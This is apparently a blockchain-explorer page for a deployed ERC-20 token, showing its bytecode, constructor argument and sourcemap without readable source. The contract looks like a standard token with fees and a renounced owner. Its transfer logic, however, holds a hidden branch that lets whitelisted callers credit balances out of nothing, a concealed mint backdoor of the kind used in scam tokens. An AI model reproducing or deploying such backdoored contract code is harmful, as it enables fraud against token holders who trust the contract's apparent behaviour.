16565b9061164d565b90506114fb565b6007546001600160a01b038086169116036114fb576114f860646114bc600d54866115cb90919063ffffffff16565b90505b80156115c1576001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600b60205260409020546115449082611429565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166000818152600b602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115b89085815260200190565b60405180910390a35b6113de83826113e7565b6000826000036115dd57506000610591565b60006115e983856118db565b9050826115f685836118fa565b1461094c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109fd565b600061094c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836116ab5760405162461bcd60e51b81526004016109fd91906116b8565b5060006113de84866118fa565b600060208083528351808285015260005b818110156116e5578581018301518582016040015282016116c9565b818111156116f7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461172257600080fd5b50565b6000806040838503121561173857600080fd5b82356117438161170d565b946020939093013593505050565b60008060006060848603121561176657600080fd5b83356117718161170d565b925060208401356117818161170d565b929592945050506040919091013590565b6000602082840312156117a457600080fd5b813561094c8161170d565b600080604083850312156117c257600080fd5b50508035926020909101359150565b600080604083850312156117e457600080fd5b82356117ef8161170d565b915060208301356117ff8161170d565b809150509250929050565b600181811c9082168061181e57607f821691505b60208210810361183e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561185657600080fd5b815161094c8161170d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156118bf576118bf611896565b500190565b6000828210156118d6576118d6611896565b500390565b60008160001904831182151516156118f5576118f5611896565b500290565b60008261191757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220290471384265ae300df56025b028fa5771e5cc0f3fa7cf3d6d4bf874a106066164736f6c634300080f003300000000000000000000000002abb66dfc0f7a713439310226869bd2071021da

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806384944733116100d1578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610445578063ebfcd6911461048b578063ece3be58146104b8578063f2fde38b146104ce57600080fd5b8063a457c2d7146103e5578063a9059cbb14610405578063c816841b1461042557600080fd5b8063849447331461032c578063896f799a146103425780638aa1ff70146103625780638da5cb5b14610392578063958c2e52146103b057806395d89b41146103d057600080fd5b8063313ce56711610123578063313ce56714610271578063346fa5ed1461029357806339509351146102a95780633fe14330146102c957806370a08231146102df578063715018a61461031557600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f057806327c8f835146102105780632b112e491461025c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104ee565b60405161019891906116b8565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611725565b610580565b6040519015158152602001610198565b3480156101dd57600080fd5b506004545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b366004611751565b610597565b34801561021c57600080fd5b506102447f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b039091168152602001610198565b34801561026857600080fd5b506101e2610953565b34801561027d57600080fd5b5060035460405160ff9091168152602001610198565b34801561029f57600080fd5b506101e260001981565b3480156102b557600080fd5b506101c16102c4366004611725565b61099d565b3480156102d557600080fd5b506101e260045481565b3480156102eb57600080fd5b506101e26102fa366004611792565b6001600160a01b03166000908152600b602052604090205490565b34801561032157600080fd5b5061032a6109d3565b005b34801561033857600080fd5b506101e2600c5481565b34801561034e57600080fd5b5061032a61035d3660046117af565b610a56565b34801561036e57600080fd5b506101c161037d366004611792565b60086020526000908152604090205460ff1681565b34801561039e57600080fd5b506000546001600160a01b0316610244565b3480156103bc57600080fd5b50600a54610244906001600160a01b031681565b3480156103dc57600080fd5b5061018b610a88565b3480156103f157600080fd5b506101c1610400366004611725565b610a97565b34801561041157600080fd5b506101c1610420366004611725565b610ae6565b34801561043157600080fd5b50600754610244906001600160a01b031681565b34801561045157600080fd5b506101e26104603660046117d1565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561049757600080fd5b506101e26104a6366004611792565b600b6020526000908152604090205481565b3480156104c457600080fd5b506101e2600d5481565b3480156104da57600080fd5b5061032a6104e9366004611792565b610e44565b6060600580546104fd9061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546105299061180a565b80156105765780601f1061054b57610100808354040283529160200191610576565b820191906000526020600020905b81548152906001019060200180831161055957829003601f168201915b5050505050905090565b600061058d338484610f2e565b5060015b92915050565b600354600090610100900460ff16151581036108ea57600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610600573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106249190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610686573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106aa9190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610711575060408051601f3d908101601f1916820190925261070e91810190611844565b60015b61074b573d80801561073f576040519150601f19603f3d011682016040523d82523d6000602084013e610744565b606091505b50506108ea565b50600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c39190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108499190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610894573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b89190611844565b600780546001600160a01b03929092166001600160a01b03199092169190911790556003805461ff0019166101001790555b6108f5848484611052565b5061094884336109438560405180606001604052806028815260200161191d602891396001600160a01b038a16600090815260096020908152604080832033845290915290205491906113ad565b610f2e565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03166000908152600b6020526040812054600454610998916113e7565b905090565b3360008181526009602090815260408083206001600160a01b0387168452909152812054909161058d9185906109439086611429565b6000546001600160a01b03163314610a065760405162461bcd60e51b81526004016109fd90611861565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610a805760405162461bcd60e51b81526004016109fd90611861565b600d55600c55565b6060600680546104fd9061180a565b600061058d338461094385604051806060016040528060258152602001611945602591393360009081526009602090815260408083206001600160a01b038d16845290915290205491906113ad565b600354600090610100900460ff1615158103610e3957600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b739190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf99190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610c60575060408051601f3d908101601f19168201909252610c5d91810190611844565b60015b610c9a573d808015610c8e576040519150601f19603f3d011682016040523d82523d6000602084013e610c93565b606091505b5050610e39565b50600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d129190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d989190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610de3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e079190611844565b600780546001600160a01b03929092166001600160a01b03199092169190911790556003805461ff0019166101001790555b610948338484611052565b6000546001600160a01b03163314610e6e5760405162461bcd60e51b81526004016109fd90611861565b6001600160a01b038116610ed35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109fd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109fd565b6001600160a01b038216610ff15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109fd565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811691161480159061108157506000546001600160a01b03858116911614155b80156110a657506001600160a01b03841660009081526008602052604090205460ff16155b156110fb57600e5460ff1615156000036110fb5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016109fd565b826001600160a01b0316846001600160a01b031614801561112a57506007546001600160a01b03858116911614155b801561113f57506001600160a01b0384163014155b801561115a57503360009081526008602052604090205460ff165b156111a4576001600160a01b0383166000908152600b60205260409020546111839083906118ac565b6001600160a01b0384166000908152600b602052604090205550600161094c565b6001600160a01b0384166112095760405162461bcd60e51b815260206004820152602660248201527f45524332303a206d6f7665546f6b656e2066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016109fd565b6001600160a01b03831661126b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a206d6f7665546f6b656e20746f20746865207a65726f206164646044820152637265737360e01b60648201526084016109fd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600b90915291909120546112bd9184906113ad565b6001600160a01b0385166000908152600b6020908152604080832093909355600890529081205460ff168061130a57506001600160a01b03841660009081526008602052604090205460ff165b61131e57611319858585611488565b611320565b825b6001600160a01b0385166000908152600b60205260409020549091506113469082611429565b6001600160a01b038086166000818152600b602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061139a9085815260200190565b60405180910390a3506001949350505050565b600081848411156113d15760405162461bcd60e51b81526004016109fd91906116b8565b5060006113de84866118c4565b95945050505050565b600061094c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ad565b60008061143683856118ac565b90508381101561094c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109fd565b60075460009081906001600160a01b038087169116036114c9576114c260646114bc600c54866115cb90919063ffffffff16565b9061164d565b90506114fb565b6007546001600160a01b038086169116036114fb576114f860646114bc600d54866115cb90919063ffffffff16565b90505b80156115c1576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead166000908152600b60205260409020546115449082611429565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead81166000818152600b602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115b89085815260200190565b60405180910390a35b6113de83826113e7565b6000826000036115dd57506000610591565b60006115e983856118db565b9050826115f685836118fa565b1461094c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109fd565b600061094c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836116ab5760405162461bcd60e51b81526004016109fd91906116b8565b5060006113de84866118fa565b600060208083528351808285015260005b818110156116e5578581018301518582016040015282016116c9565b818111156116f7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461172257600080fd5b50565b6000806040838503121561173857600080fd5b82356117438161170d565b946020939093013593505050565b60008060006060848603121561176657600080fd5b83356117718161170d565b925060208401356117818161170d565b929592945050506040919091013590565b6000602082840312156117a457600080fd5b813561094c8161170d565b600080604083850312156117c257600080fd5b50508035926020909101359150565b600080604083850312156117e457600080fd5b82356117ef8161170d565b915060208301356117ff8161170d565b809150509250929050565b600181811c9082168061181e57607f821691505b60208210810361183e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561185657600080fd5b815161094c8161170d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156118bf576118bf611896565b500190565b6000828210156118d6576118d6611896565b500390565b60008160001904831182151516156118f5576118f5611896565b500290565b60008261191757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220290471384265ae300df56025b028fa5771e5cc0f3fa7cf3d6d4bf874a106066164736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000002abb66dfc0f7a713439310226869bd2071021da

-----Decoded View---------------
Arg [0] : pairV2 (address): 0x02aBB66dfC0f7A713439310226869BD2071021Da

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000002abb66dfc0f7a713439310226869bd2071021da


Deployed Bytecode Sourcemap

11465:6238:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13437:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16075:161;;;;;;;;;;-1:-1:-1;16075:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;16075:161:0;1072:187:1;13714:106:0;;;;;;;;;;-1:-1:-1;13794:18:0;;13714:106;;;1410:25:1;;;1398:2;1383:18;13714:106:0;1264:177:1;14354:660:0;;;;;;;;;;-1:-1:-1;14354:660:0;;;;;:::i;:::-;;:::i;11573:81::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2071:32:1;;;2053:51;;2041:2;2026:18;11573:81:0;1907:203:1;16589:134:0;;;;;;;;;;;;;:::i;13623:83::-;;;;;;;;;;-1:-1:-1;13689:9:0;;13623:83;;13689:9;;;;2257:36:1;;2245:2;2230:18;13623:83:0;2115:184:1;11823:40:0;;;;;;;;;;-1:-1:-1;11823:40:0;-1:-1:-1;;11823:40:0;;17015:218;;;;;;;;;;-1:-1:-1;17015:218:0;;;;;:::i;:::-;;:::i;11661:63::-;;;;;;;;;;;;;;;;16731:125;;;;;;;;;;-1:-1:-1;16731:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;16824:24:0;16797:7;16824:24;;;:15;:24;;;;;;;16731:125;2991:230;;;;;;;;;;;;;:::i;:::-;;12165:31;;;;;;;;;;;;;;;;17518:141;;;;;;;;;;-1:-1:-1;17518:141:0;;;;;:::i;:::-;;:::i;11938:42::-;;;;;;;;;;-1:-1:-1;11938:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2885:79;;;;;;;;;;-1:-1:-1;2923:7:0;2950:6;-1:-1:-1;;;;;2950:6:0;2885:79;;12063:37;;;;;;;;;;-1:-1:-1;12063:37:0;;;;-1:-1:-1;;;;;12063:37:0;;;13528:87;;;;;;;;;;;;;:::i;17241:269::-;;;;;;;;;;-1:-1:-1;17241:269:0;;;;;:::i;:::-;;:::i;13828:518::-;;;;;;;;;;-1:-1:-1;13828:518:0;;;;;:::i;:::-;;:::i;11872:26::-;;;;;;;;;;-1:-1:-1;11872:26:0;;;;-1:-1:-1;;;;;11872:26:0;;;16864:143;;;;;;;;;;-1:-1:-1;16864:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16972:18:0;;;16945:7;16972:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16864:143;12107:51;;;;;;;;;;-1:-1:-1;12107:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;12203:32;;;;;;;;;;;;;;;;3376:244;;;;;;;;;;-1:-1:-1;3376:244:0;;;;;:::i;:::-;;:::i;13437:83::-;13474:13;13507:5;13500:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13437:83;:::o;16075:161::-;16150:4;16167:39;885:10;16190:7;16199:6;16167:8;:39::i;:::-;-1:-1:-1;16224:4:0;16075:161;;;;;:::o;14354:660::-;14472:5;;14452:4;;14472:5;;;;;:12;;;;14469:339;;14522:11;;;;;;;;;-1:-1:-1;;;;;14522:11:0;-1:-1:-1;;;;;14522:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14504:48:0;;14561:4;14568:11;;;;;;;;;-1:-1:-1;;;;;14568:11:0;-1:-1:-1;;;;;14568:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14504:83;;-1:-1:-1;;;;;;14504:83:0;;;;;;;-1:-1:-1;;;;;4308:15:1;;;14504:83:0;;;4290:34:1;4360:15;;4340:18;;;4333:43;4225:18;;14504:83:0;;;;;;;;;;;;;;;;;;-1:-1:-1;14504:83:0;;;;;;;;-1:-1:-1;;14504:83:0;;;;;;;;;;;;:::i;:::-;;;14500:297;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14762:35;14500:297;;;;14638:11;;;;;;;;;-1:-1:-1;;;;;14638:11:0;-1:-1:-1;;;;;14638:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14620:48:0;;14677:4;14684:11;;;;;;;;;-1:-1:-1;;;;;14684:11:0;-1:-1:-1;;;;;14684:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14620:83;;-1:-1:-1;;;;;;14620:83:0;;;;;;;-1:-1:-1;;;;;4308:15:1;;;14620:83:0;;;4290:34:1;4360:15;;4340:18;;;4333:43;4225:18;;14620:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14606:11;:97;;-1:-1:-1;;;;;14606:97:0;;;;-1:-1:-1;;;;;;14606:97:0;;;;;;;;;14722:5;:10;;-1:-1:-1;;14722:10:0;14606:97;14722:10;;;14500:297;14818:34;14826:6;14834:9;14845:6;14818:7;:34::i;:::-;-1:-1:-1;14863:121:0;14872:6;885:10;14894:89;14932:6;14894:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14894:19:0;;;;;;:11;:19;;;;;;;;885:10;14894:33;;;;;;;;;;:37;:89::i;:::-;14863:8;:121::i;:::-;-1:-1:-1;15002:4:0;14354:660;;;;;;:::o;16589:134::-;16702:11;-1:-1:-1;;;;;16824:24:0;16642:7;16824:24;;;:15;:24;;;;;;16669:18;;:46;;:22;:46::i;:::-;16662:53;;16589:134;:::o;17015:218::-;885:10;17103:4;17152:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17152:34:0;;;;;;;;;;17103:4;;17120:83;;17143:7;;17152:50;;17191:10;17152:38;:50::i;2991:230::-;3283:6;;-1:-1:-1;;;;;3283:6:0;885:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;;;;;;;;;3082:6:::1;::::0;;3061:81:::1;::::0;3098:42:::1;::::0;-1:-1:-1;;;;;3082:6:0;;::::1;::::0;3061:81:::1;::::0;::::1;3153:6;:60:::0;;-1:-1:-1;;;;;;3153:60:0::1;3170:42;3153:60;::::0;;2991:230::o;17518:141::-;3283:6;;-1:-1:-1;;;;;3283:6:0;885:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;17598:14:::1;:22:::0;17631:13:::1;:20:::0;17518:141::o;13528:87::-;13567:13;13600:7;13593:14;;;;;:::i;17241:269::-;17334:4;17351:129;885:10;17374:7;17383:96;17422:15;17383:96;;;;;;;;;;;;;;;;;885:10;17383:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17383:34:0;;;;;;;;;;;;:38;:96::i;13828:518::-;13926:5;;13906:4;;13926:5;;;;;:12;;;;13923:339;;13976:11;;;;;;;;;-1:-1:-1;;;;;13976:11:0;-1:-1:-1;;;;;13976:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13958:48:0;;14015:4;14022:11;;;;;;;;;-1:-1:-1;;;;;14022:11:0;-1:-1:-1;;;;;14022:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13958:83;;-1:-1:-1;;;;;;13958:83:0;;;;;;;-1:-1:-1;;;;;4308:15:1;;;13958:83:0;;;4290:34:1;4360:15;;4340:18;;;4333:43;4225:18;;13958:83:0;;;;;;;;;;;;;;;;;;-1:-1:-1;13958:83:0;;;;;;;;-1:-1:-1;;13958:83:0;;;;;;;;;;;;:::i;:::-;;;13954:297;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14216:35;13954:297;;;;14092:11;;;;;;;;;-1:-1:-1;;;;;14092:11:0;-1:-1:-1;;;;;14092:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14074:48:0;;14131:4;14138:11;;;;;;;;;-1:-1:-1;;;;;14138:11:0;-1:-1:-1;;;;;14138:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14074:83;;-1:-1:-1;;;;;;14074:83:0;;;;;;;-1:-1:-1;;;;;4308:15:1;;;14074:83:0;;;4290:34:1;4360:15;;4340:18;;;4333:43;4225:18;;14074:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14060:11;:97;;-1:-1:-1;;;;;14060:97:0;;;;-1:-1:-1;;;;;;14060:97:0;;;;;;;;;14176:5;:10;;-1:-1:-1;;14176:10:0;14060:97;14176:10;;;13954:297;14272:40;885:10;14294:9;14305:6;14272:7;:40::i;3376:244::-;3283:6;;-1:-1:-1;;;;;3283:6:0;885:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3465:22:0;::::1;3457:73;;;::::0;-1:-1:-1;;;3457:73:0;;4950:2:1;3457:73:0::1;::::0;::::1;4932:21:1::0;4989:2;4969:18;;;4962:30;5028:34;5008:18;;;5001:62;-1:-1:-1;;;5079:18:1;;;5072:36;5125:19;;3457:73:0::1;4748:402:1::0;3457:73:0::1;3567:6;::::0;;3546:38:::1;::::0;-1:-1:-1;;;;;3546:38:0;;::::1;::::0;3567:6;::::1;::::0;3546:38:::1;::::0;::::1;3595:6;:17:::0;;-1:-1:-1;;;;;;3595:17:0::1;-1:-1:-1::0;;;;;3595:17:0;;;::::1;::::0;;;::::1;::::0;;3376:244::o;16244:337::-;-1:-1:-1;;;;;16337:19:0;;16329:68;;;;-1:-1:-1;;;16329:68:0;;5357:2:1;16329:68:0;;;5339:21:1;5396:2;5376:18;;;5369:30;5435:34;5415:18;;;5408:62;-1:-1:-1;;;5486:18:1;;;5479:34;5530:19;;16329:68:0;5155:400:1;16329:68:0;-1:-1:-1;;;;;16416:21:0;;16408:68;;;;-1:-1:-1;;;16408:68:0;;5762:2:1;16408:68:0;;;5744:21:1;5801:2;5781:18;;;5774:30;5840:34;5820:18;;;5813:62;-1:-1:-1;;;5891:18:1;;;5884:32;5933:19;;16408:68:0;5560:398:1;16408:68:0;-1:-1:-1;;;;;16489:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16541:32;;1410:25:1;;;16541:32:0;;1383:18:1;16541:32:0;;;;;;;16244:337;;;:::o;15024:1043::-;15142:11;;15109:4;;-1:-1:-1;;;;;15142:24:0;;;:11;;:24;;;;:45;;-1:-1:-1;2923:7:0;2950:6;-1:-1:-1;;;;;15170:17:0;;;2950:6;;15170:17;;15142:45;:67;;;;-1:-1:-1;;;;;;15192:17:0;;;;;;:9;:17;;;;;;;;15191:18;15142:67;15138:142;;;15233:11;;;;:20;;:11;:20;15225:55;;;;-1:-1:-1;;;15225:55:0;;6165:2:1;15225:55:0;;;6147:21:1;6204:2;6184:18;;;6177:30;-1:-1:-1;;;6223:18:1;;;6216:52;6285:18;;15225:55:0;5963:346:1;15225:55:0;15310:9;-1:-1:-1;;;;;15300:19:0;:6;-1:-1:-1;;;;;15300:19:0;;:44;;;;-1:-1:-1;15333:11:0;;-1:-1:-1;;;;;15323:21:0;;;15333:11;;15323:21;;15300:44;:71;;;;-1:-1:-1;;;;;;15348:23:0;;15366:4;15348:23;;15300:71;:96;;;;-1:-1:-1;15385:10:0;15375:21;;;;:9;:21;;;;;;;;15300:96;15297:216;;;-1:-1:-1;;;;;15440:26:0;;;;;;:15;:26;;;;;;:35;;15469:6;;15440:35;:::i;:::-;-1:-1:-1;;;;;15412:26:0;;;;;;:15;:26;;;;;:63;-1:-1:-1;15497:4:0;15490:11;;15297:216;-1:-1:-1;;;;;15531:20:0;;15523:71;;;;-1:-1:-1;;;15523:71:0;;6781:2:1;15523:71:0;;;6763:21:1;6820:2;6800:18;;;6793:30;6859:34;6839:18;;;6832:62;-1:-1:-1;;;6910:18:1;;;6903:36;6956:19;;15523:71:0;6579:402:1;15523:71:0;-1:-1:-1;;;;;15613:23:0;;15605:72;;;;-1:-1:-1;;;15605:72:0;;7188:2:1;15605:72:0;;;7170:21:1;7227:2;7207:18;;;7200:30;7266:34;7246:18;;;7239:62;-1:-1:-1;;;7317:18:1;;;7310:34;7361:19;;15605:72:0;6986:400:1;15605:72:0;15714:59;;;;;;;;;;;-1:-1:-1;;;15714:59:0;;;;;;;;-1:-1:-1;;;;;15714:23:0;;-1:-1:-1;15714:23:0;;;:15;:23;;;;;;;;:59;;15742:6;;15714:27;:59::i;:::-;-1:-1:-1;;;;;15688:23:0;;;;;;:15;:23;;;;;;;;:85;;;;15807:9;:17;;;;;;;;;:41;;-1:-1:-1;;;;;;15828:20:0;;;;;;:9;:20;;;;;;;;15807:41;15806:90;;15861:35;15870:6;15878:9;15889:6;15861:8;:35::i;:::-;15806:90;;;15852:6;15806:90;-1:-1:-1;;;;;15936:26:0;;;;;;:15;:26;;;;;;15784:112;;-1:-1:-1;15936:43:0;;15784:112;15936:30;:43::i;:::-;-1:-1:-1;;;;;15907:26:0;;;;;;;:15;:26;;;;;;;:72;;;;15997:40;;;;;;;;;;16025:11;1410:25:1;;1398:2;1383:18;;1264:177;15997:40:0;;;;;;;;-1:-1:-1;16055:4:0;;15024:1043;-1:-1:-1;;;;15024:1043:0:o;1392:192::-;1478:7;1514:12;1506:6;;;;1498:29;;;;-1:-1:-1;;;1498:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1538:9:0;1550:5;1554:1;1550;:5;:::i;:::-;1538:17;1392:192;-1:-1:-1;;;;;1392:192:0:o;1248:136::-;1306:7;1333:43;1337:1;1340;1333:43;;;;;;;;;;;;;;;;;:3;:43::i;1059:181::-;1117:7;;1149:5;1153:1;1149;:5;:::i;:::-;1137:17;;1178:1;1173;:6;;1165:46;;;;-1:-1:-1;;;1165:46:0;;7723:2:1;1165:46:0;;;7705:21:1;7762:2;7742:18;;;7735:30;7801:29;7781:18;;;7774:57;7848:18;;1165:46:0;7521:351:1;12838:591:0;12976:11;;12919:7;;;;-1:-1:-1;;;;;12976:21:0;;;:11;;:21;12973:206;;13023:34;13053:3;13023:25;13034:13;;13023:6;:10;;:25;;;;:::i;:::-;:29;;:34::i;:::-;13014:43;;12973:206;;;13088:11;;-1:-1:-1;;;;;13088:18:0;;;:11;;:18;13085:94;;13132:35;13163:3;13132:26;13143:14;;13132:6;:10;;:26;;;;:::i;:35::-;13123:44;;13085:94;13192:10;;13189:197;;-1:-1:-1;;;;;13283:11:0;13259:37;;;;;:15;:37;;;;;;:49;;13301:6;13259:41;:49::i;:::-;-1:-1:-1;;;;;13243:11:0;13219:37;;;;;;:15;:37;;;;;;;:89;;;;13328:46;;;;;;;;;;13367:6;1410:25:1;;1398:2;1383:18;;1264:177;13328:46:0;;;;;